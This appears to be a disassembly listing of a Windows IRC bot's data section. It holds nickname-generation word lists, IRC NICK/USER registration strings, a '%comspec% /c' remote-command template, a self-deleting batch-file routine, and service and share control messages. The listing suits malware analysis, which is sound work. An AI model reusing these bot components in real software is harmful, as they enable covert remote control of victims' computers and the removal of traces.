dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_438E98
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_438A68 dd offset aSex ; DATA XREF: sub_417E84+41r
; sub_417E84+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
; ---------------------------------------------------------------------------
push 6000438Dh
lea eax, [ebx+0]
pop eax
lea eax, [ebx+0]
push eax
lea eax, [ebx+0]
dec eax
lea eax, [ebx+0]
inc eax
lea eax, [ebx+0]
cmp [ebp-72CFFFBDh], cl
inc ebx
add [eax], ch
lea eax, [ebx+0]
sbb al, 8Dh
inc ebx
add ds:8D0C0043h[ecx*4], dl
inc ebx
add [eax], cl
lea eax, [ebx+0]
add [ebp-6D0BFFBDh], cl
inc ebx
add al, dh
retf 42h
; ---------------------------------------------------------------------------
db 10h
db 93h ; “
db 43h ; C
db 0
db 88h ; ˆ
db 0B1h ; ±
db 42h ; B
db 0
db 0Ch
db 93h ; “
db 43h ; C
db 0
db 8
db 93h ; “
db 43h ; C
db 0
db 4
db 93h ; “
db 43h ; C
db 0
db 70h ; p
db 0C6h ; Æ
db 42h ; B
db 0
db 34h ; 4
db 0B9h ; ¹
db 42h ; B
db 0
db 7Ch ; |
db 0B7h ; ·
db 42h ; B
db 0
db 0ECh ; ì
db 0CAh ; Ê
db 42h ; B
db 0
dd offset dword_439300
dd offset aM ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_439318
dd offset dword_4392F8
dd offset dword_439314
dd offset dword_4392FC
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_4392FC
dd offset dword_439308
dd offset aS_0 ; "s"
dd offset aQ ; "q"
dd offset off_438CB8
dd offset aBbl ; "|bbl"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset a___0 ; "_|_"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset byte_43DB88
dd offset byte_43DB88
dd offset dword_4392C4
dd offset aM_0 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_2 ; "^^^f^"
dd offset dword_4392F4
dd offset byte_43DB88
dd offset aSleeping ; "Sleeping"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset dword_4392A8
dd offset byte_43DB88
dd offset off_438C78
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_438C38
dd offset dword_438C34
dd offset dword_438C2C
dd offset dword_438C20
dd offset dword_438C18
dd offset dword_438C10
dd offset dword_438C08
dd offset dword_438C04
dd offset dword_438C00
dword_438C00 dd 7536h ; DATA XREF: ___:00438BFCo
dword_438C04 dd 7535h ; DATA XREF: ___:00438BF8o
dword_438C08 dd 7C75347Ch, 0 ; DATA XREF: ___:00438BF4o
dword_438C10 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438BF0o
dword_438C18 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438BECo
dword_438C20 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o
dword_438C2C dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438BE4o
dword_438C34 dd 6C6F6Ch ; DATA XREF: ___:00438BE0o
dword_438C38 dd 746F74h ; DATA XREF: ___:00438BDCo
aMofo db 'mofo',0 ; DATA XREF: ___:00438BD8o
align 4
aMof0 db 'mof0',0 ; DATA XREF: ___:00438BD4o
align 4
aMuha db 'muha',0 ; DATA XREF: ___:00438BD0o
align 4
aYeah db 'yeah',0 ; DATA XREF: ___:00438BCCo
align 4
aAha db 'aha',0 ; DATA XREF: ___:00438BC8o
aShit db 'shit',0 ; DATA XREF: ___:00438BC4o
align 4
aGurl db 'gurl',0 ; DATA XREF: ___:00438BC0o
align 10h
aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438BBCo
align 4
off_438C78 dd offset word_594F42 ; DATA XREF: ___:00438BB8o
aFree db 'Free',0 ; DATA XREF: ___:00438BA4o
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: ___:00438BA0o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438B94o
align 4
aF_2 db '^^^f^',0 ; DATA XREF: ___:00438B88o
align 10h
aSad db 'Sad',0 ; DATA XREF: ___:00438B84o
aLuvu db 'LUVU',0 ; DATA XREF: ___:00438B80o
align 4
a___0 db '_|_',0 ; DATA XREF: ___:00438B64o
aBbl db '|bbl',0 ; DATA XREF: ___:00438B58o
align 4
off_438CB8 dd offset loc_425240+2 ; DATA XREF: ___:00438B54o
aMuckc db 'muckc',0 ; DATA XREF: ___:00438B40o
align 4
aTruck db 'truck',0 ; DATA XREF: ___:00438B3Co
align 4
aTrimy db 'trimy',0 ; DATA XREF: ___:00438B38o
align 4
aLuvy db 'luvy',0 ; DATA XREF: ___:00438B34o
align 4
aUi db 'ui',0 ; DATA XREF: ___:00438B30o
align 10h
aSdf db 'sdf',0 ; DATA XREF: ___:00438B2Co
aRt db 'rt',0 ; DATA XREF: ___:00438B28o
align 4
aGf db 'gf',0 ; DATA XREF: ___:00438B24o
align 4
aTy db 'ty',0 ; DATA XREF: ___:00438B20o
align 10h
aRg db 'rg',0 ; DATA XREF: ___:00438B1Co
align 4
aHappy db 'happy',0 ; DATA XREF: ___:00438B18o
align 4
aRs db 'rs',0 ; DATA XREF: ___:00438AF8o
align 10h
aQ8A db '|q8|a',0
align 4
aQ8 db 'Q8',0
align 4
aSick db 'sick}}',0
align 4
aWiked db '|wiked|',0
aLuvuF db '||luvu-f|',0
align 4
aGens db '{gens|',0
align 10h
aSex_0 db '{sex}',0
align 4
aHub db '{hub}',0
align 10h
aLuck db '|luck|',0
align 4
aSuck db '|suck|',0
align 10h
aTot db '-|tot|',0
align 4
aWoh db '|woh|',0
align 10h
aTambe db '|tambe|',0
aLag db 'lag',0
aBad db 'bad',0 ; DATA XREF: ___:00438A78o
aTree db 'tree',0 ; DATA XREF: ___:00438A74o
align 4
aZex db 'zex',0 ; DATA XREF: ___:00438A70o
aLez db 'lez',0 ; DATA XREF: ___:00438A6Co
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00438A64o
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00438A60o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: ___:00438A5Co
align 10h
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00438A58o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: ___:00438A54o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438A50o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438A4Co
align 10h
aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438A48o
align 4
aCem39 db 'cem39',0 ; DATA XREF: ___:00438A44o
align 10h
aCool30m db 'cool30m',0 ; DATA XREF: ___:00438A40o
aTropikal db 'tropikal',0 ; DATA XREF: ___:00438A3Co
align 4
aPassenger db 'passenger',0 ; DATA XREF: ___:00438A38o
align 10h
aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00438A34o
align 4
aUla db 'ula',0 ; DATA XREF: ___:00438A30o
aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438A2Co
aAkden db 'akden',0 ; DATA XREF: ___:00438A28o
align 10h
aKoray db 'KORAY',0 ; DATA XREF: ___:00438A24o
align 4
aAta29 db 'Ata29',0 ; DATA XREF: ___:00438A20o
align 10h
aFirtina db 'firtina',0 ; DATA XREF: ___:00438A1Co
aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438A18o
aM41ist db 'M41IST',0 ; DATA XREF: ___:00438A14o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438A10o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438A0Co
align 4
aAnkm db 'ankM',0 ; DATA XREF: ___:00438A08o
align 4
aErkan db 'erkan',0 ; DATA XREF: ___:00438A04o
align 4
aDevre db 'devre',0 ; DATA XREF: ___:00438A00o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: ___:004389FCo
align 4
aBirsen db 'birsen',0 ; DATA XREF: ___:004389F8o
align 4
aA44m db 'a44m',0 ; DATA XREF: ___:004389F4o
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: ___:004389F0o
align 4
off_438E98 dd offset byte_4B5245 ; DATA XREF: ___:004389ECo
aSevda db 'sevda',0 ; DATA XREF: ___:004389E8o
align 4
aKotan db 'kotan',0 ; DATA XREF: ___:004389E4o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: ___:004389E0o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: ___:004389DCo
align 10h
aKapk db 'kapk',0 ; DATA XREF: ___:004389D8o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:004389D4o
align 4
aHayran db 'hayran',0 ; DATA XREF: ___:004389D0o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:004389CCo
align 4
aAnkar db 'Ankar',0 ; DATA XREF: ___:004389C8o
align 10h
aDjspace db 'DJSPACE',0 ; DATA XREF: ___:004389C4o
aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:004389C0o
align 4
aUmut db 'umut-',0 ; DATA XREF: ___:004389BCo
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: ___:004389B8o
align 4
aKumul db 'kumul',0 ; DATA XREF: ___:004389B4o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004389B0o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004389ACo
align 10h
aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004389A8o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: ___:004389A4o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: ___:004389A0o
align 10h
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:0043899Co
align 10h
aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00438998o
aHoly db 'holy',0 ; DATA XREF: ___:00438994o
align 10h
aFlord db 'FLoRD',0 ; DATA XREF: ___:00438990o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: ___:0043898Co
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00438988o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00438984o
align 4
aEmre db 'Emre--',0 ; DATA XREF: ___:00438980o
align 10h
aRamtha db 'RAMTHA',0 ; DATA XREF: ___:0043897Co
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00438978o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: ___:00438974o
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00438970o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:0043896Co
aArda db 'arda',0 ; DATA XREF: ___:00438968o
align 4
aDevran db 'devran',0 ; DATA XREF: ___:00438964o
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00438960o
aDenizlim db 'DenizliM',0 ; DATA XREF: ___:0043895Co
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00438958o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00438954o
align 10h
aBogac db 'bogac',0 ; DATA XREF: ___:00438950o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:0043894Co
align 4
aAnkh db 'ankh',0 ; DATA XREF: ___:00438948o
align 4
off_43902C dd offset byte_457441 ; DATA XREF: ___:00438944o
dword_439030 dd 414C5941h, 2Dh ; DATA XREF: ___:00438940o
aAlbina db 'albina',0 ; DATA XREF: ___:0043893Co
align 10h
aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438938o
align 4
aZack db 'ZACK',0 ; DATA XREF: ___:00438934o
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438930o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: ___:0043892Co
align 4
aAhmet db 'ahmet',0 ; DATA XREF: ___:00438928o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: ___:00438924o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438920o
align 4
aRetg db 'RETG',0 ; DATA XREF: ___:0043891Co
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438918o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00438914o
aAslii db 'aslii',0 ; DATA XREF: ___:00438910o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: ___:0043890Co
aHaticem db 'haticem',0 ; DATA XREF: ___:00438908o
aArzu db 'ARZU',0 ; DATA XREF: ___:00438904o
align 10h
aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438900o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:004388FCo
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: ___:004388F8o
align 10h
aTekir db 'tekir',0 ; DATA XREF: ___:004388F4o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:004388F0o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: ___:004388ECo
align 4
aMelekk db 'melekk',0 ; DATA XREF: ___:004388E8o
align 4
aAkin db 'AKIN',0 ; DATA XREF: ___:004388E4o
align 4
aMary_0 db 'MARY',0 ; DATA XREF: ___:004388E0o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: ___:004388DCo
aTolga34 db 'Tolga34',0 ; DATA XREF: ___:004388D8o
aMisssunday db 'misssunday',0 ; DATA XREF: ___:004388D4o
align 10h
aIrmal db 'irmal',0 ; DATA XREF: ___:004388D0o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:004388CCo
align 4
aBerk19 db 'berk19',0 ; DATA XREF: ___:004388C8o
align 10h
aHexaaa db 'hexaaa',0 ; DATA XREF: ___:004388C4o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: ___:004388C0o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:004388BCo
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:004388B8o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004388B4o
align 4
aKencing db 'Kencing',0 ; DATA XREF: ___:004388B0o
aReshma db 'reshma',0 ; DATA XREF: ___:004388ACo
align 4
aCamel db 'CAMEL',0 ; DATA XREF: ___:004388A8o
align 4
aGirl db 'GirL',0 ; DATA XREF: ___:004388A4o
align 4
aImra db 'imra',0 ; DATA XREF: ___:004388A0o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: ___:0043889Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: ___:00438898o
align 4
aKermit db 'kermit',0 ; DATA XREF: ___:00438894o
align 4
aManee db 'manee',0 ; DATA XREF: ___:00438890o
align 4
aTroller db 'troller',0 ; DATA XREF: ___:0043888Co
aLuisa db 'Luisa',0 ; DATA XREF: ___:00438888o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: ___:00438884o
align 10h
aRimpy db 'rimpy',0 ; DATA XREF: ___:00438880o
align 4
aJanno db 'janno',0 ; DATA XREF: ___:0043887Co
align 10h
aBunty db 'bunty',0 ; DATA XREF: ___:00438878o
align 4
aHeval db 'heval',0 ; DATA XREF: ___:00438874o
align 10h
aCme db 'cme',0 ; DATA XREF: ___:00438870o
aMarcy db 'marcy',0 ; DATA XREF: ___:0043886Co
align 4
aTalika db 'talika',0 ; DATA XREF: ___:00438868o
align 4
aShez db 'Shez',0 ; DATA XREF: ___:00438864o
align 4
aKen db 'ken',0 ; DATA XREF: ___:00438860o
aFlexster db 'flexster',0 ; DATA XREF: ___:0043885Co
align 4
aKoko db 'koko',0 ; DATA XREF: ___:00438858o
align 4
aMale db 'male',0 ; DATA XREF: ___:00438854o
align 4
aSwin db 'swin',0 ; DATA XREF: ___:00438850o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: ___:0043884Co
aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438848o
align 4
aEmilya db 'emilya',0 ; DATA XREF: ___:00438844o
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438840o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:0043883Co
aFarooq db 'farooq',0 ; DATA XREF: ___:00438838o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00438834o
align 4
aM_0: ; DATA XREF: ___:00438830o
; ___:00438B7Co
unicode 0, <M>,0
word_439298 dw 4Eh ; DATA XREF: sub_41A3C6+38r
; ___:0043882Co
align 4
dword_43929C dd 42h ; DATA XREF: ___:00438828o
dword_4392A0 dd 56h ; DATA XREF: ___:00438824o
dword_4392A4 dd 43h ; DATA XREF: ___:00438820o
dword_4392A8 dd 58h ; DATA XREF: ___:0043881Co
; ___:00438BB0o
dword_4392AC dd 5Ah ; DATA XREF: ___:00438818o
dword_4392B0 dd 4Ch ; DATA XREF: ___:00438814o
dword_4392B4 dd 4Bh ; DATA XREF: ___:00438810o
dword_4392B8 dd 4Ah ; DATA XREF: ___:0043880Co
dword_4392BC dd 48h ; DATA XREF: ___:00438808o
dword_4392C0 dd 47h ; DATA XREF: ___:00438804o
dword_4392C4 dd 46h ; DATA XREF: ___:00438800o
; ___:00438B78o
dword_4392C8 dd 44h ; DATA XREF: ___:004387FCo
dword_4392CC dd 53h ; DATA XREF: ___:004387F8o
dword_4392D0 dd 50h ; DATA XREF: ___:004387F0o
dword_4392D4 dd 4Fh ; DATA XREF: ___:004387ECo
dword_4392D8 dd 55h ; DATA XREF: ___:004387E4o
word_4392DC dw 59h ; DATA XREF: sub_41A6EA+38r
; ___:004387E0o
align 10h
dword_4392E0 dd 54h ; DATA XREF: ___:004387DCo
dword_4392E4 dd 52h ; DATA XREF: ___:004387D8o
dword_4392E8 dd 45h ; DATA XREF: ___:004387D4o
dword_4392EC dd 57h ; DATA XREF: ___:004387D0o
dword_4392F0 dd 51h ; DATA XREF: ___:004387CCo
dword_4392F4 dd 62h ; DATA XREF: ___:004387C0o
; ___:00438B8Co
dword_4392F8 dd 78h ; DATA XREF: ___:00438B0Co
dword_4392FC dd 7Ah ; DATA XREF: ___:00438B14o
; ___:00438B44o
dword_439300 dd 6Ch, 68h ; DATA XREF: ___:004387ACo
; ___:00438AE0o
dword_439308 dd 67h, 66h, 64h ; DATA XREF: ___:00438B48o
dword_439314 dd 79h ; DATA XREF: ___:00438B10o
dword_439318 dd 77h ; DATA XREF: ___:00438B08o
dword_43931C dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B76+B1o
dword_439328 dd 323334h ; DATA XREF: sub_417B76+79o
dword_43932C dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B76+61o
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo
; sub_417E84+175r ...
align 4
dword_439374 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o
; ---------------------------------------------------------------------------
loc_4393DC: ; DATA XREF: sub_4182CD+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_4393F0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_4182CD+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o
align 4
unk_4394A4 db 2Dh ; - ; DATA XREF: sub_418A2E+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_4394D4 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_4394FC dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_418A2E+5Co
dd 65726165h, 64h
off_439518 dd offset aAdd ; DATA XREF: sub_418C0E+60r
; sub_418FE5+51r ...
; "Add"
off_43951C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr
; sub_418FE5+83r ...
; "Added"
dword_439520 dd 0 ; DATA XREF: sub_418C0E+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 43958Ch, 439584h, 2, 439578h, 43956Ch, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0043954Co
aStop_0 db 'Stop',0 ; DATA XREF: ___:00439548o
align 4
aStarted db 'Started',0 ; DATA XREF: ___:00439540o
aStart_0 db 'Start',0 ; DATA XREF: ___:0043953Co
align 4
aListed db 'Listed',0 ; DATA XREF: ___:00439534o
align 4
aList_1 db 'List',0 ; DATA XREF: ___:00439530o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: ___:00439528o
aDelete_0 db 'Delete',0 ; DATA XREF: ___:00439524o
align 4
aAdded db 'Added',0 ; DATA XREF: ___:off_43951Co
align 4
aAdd db 'Add',0 ; DATA XREF: ___:off_439518o
unk_4395E0 db 2Dh ; - ; DATA XREF: sub_418C0E+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_439604 db 2Dh ; - ; DATA XREF: sub_418C0E+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 10h
unk_439630 db 2Dh ; - ; DATA XREF: sub_418C0E+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_418D2A:loc_418E34o
db 'the state of the service.',0
align 10h
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_418D2A:loc_418E2Do
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_418D2A:loc_418E26o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_418D2A:loc_418E1Fo
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_418D2A:loc_418E11o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_418D2A:loc_418E0Ao
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_418D2A:loc_418E03o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_418D2A:loc_418DD8o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_418D2A:loc_418DD1o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_418D2A:loc_418DCAo
db 'tServiceCtrlDispatcher.',0
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_418D2A:loc_418DC3o
align 10h
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_418D2A:loc_418D98o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_418D2A:loc_418D70o
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o
aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o
aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o
aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_418EA8+25o
align 4
unk_439B84 db 2Dh ; - ; DATA XREF: sub_418FE5+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
dword_439BA8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418FE5+8Ao
dd 73252720h, 27h
unk_439BC4 db 2Dh ; - ; DATA XREF: sub_418FE5+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 10h
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo
align 4
